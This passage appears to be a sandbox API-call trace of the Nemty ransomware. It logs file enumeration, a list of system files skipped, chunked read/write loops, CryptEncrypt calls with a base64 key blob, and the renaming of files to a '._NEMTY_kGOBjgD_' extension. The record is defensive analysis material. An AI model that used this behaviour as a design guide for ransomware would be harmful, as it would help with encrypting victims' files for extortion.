hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.015] CloseHandle (hObject=0xffffffff) returned 0 [0077.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0077.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0077.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.015] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png._nemty_kgobjgd_")) returned 0 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.016] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2=".") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="..") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="...") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="windows") returned -1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="$RECYCLE.BIN") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="rsa") returned -1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="NTDETECT.COM") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="ntldr") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="MSDOS.SYS") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="IO.SYS") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="boot.ini") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="boot.ini") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="AUTOEXEC.BAT") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="ntuser.dat") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="desktop.ini") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="CONFIG.SYS") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="RECYCLER") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="BOOTSECT.BAK") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="bootmgr") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="programdata") returned 1 [0077.016] lstrcmpiW (lpString1="rollinghills.png", lpString2="appdata") returned 1 [0077.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rollinghills.png", lpUsedDefaultChar=0x0) returned 16 [0077.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0077.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rollinghills.png", lpUsedDefaultChar=0x0) returned 16 [0077.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0077.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rollinghills.png", lpUsedDefaultChar=0x0) returned 16 [0077.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rollinghills.png", lpUsedDefaultChar=0x0) returned 16 [0077.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0077.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0077.017] Sleep (dwMilliseconds=0x5) [0077.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe18f8a70, dwHighDateTime=0x1d561e7)) [0077.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe18f8a70, dwHighDateTime=0x1d561e7)) [0077.031] GetLastError () returned 0x5 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.031] GetLastError () returned 0x5 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0077.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0077.031] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0077.031] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="iQi6FOwlhHNr33083xN+JJHc3nAXIm37ftZn4VqZK/I96Phy0zJrj5btJ+hjOkqJ\r\nfovSpVXioMtQCg4tdb0K6/z7Yfnp6QunplCT8ANjiL+Am6Xv2OKj34h6XO7V6d3Q\r\nViDyeNCeMMTVhfXQDDg+0Z4VV77JDimZMdSXJ/bUiigWVt7SibF+lGFEZV0tPjrv\r\ndEeo6smTC0I4eaR3VLjIu7InclzmJMTHmZfB6UGOx447ne+AABJ3cCepP4zDMZh8\r\nFhchwpaFABJ78Fv/gEXk92mSxLRkVdl80IYL+IFhNjLleP8WdoqHC9mifElPJe9O\r\naIjQRQ53geQV8jOLpWcGiw==\r\n", pcchString=0x653e91c) returned 1 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0077.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.031] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.032] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0077.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.051] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 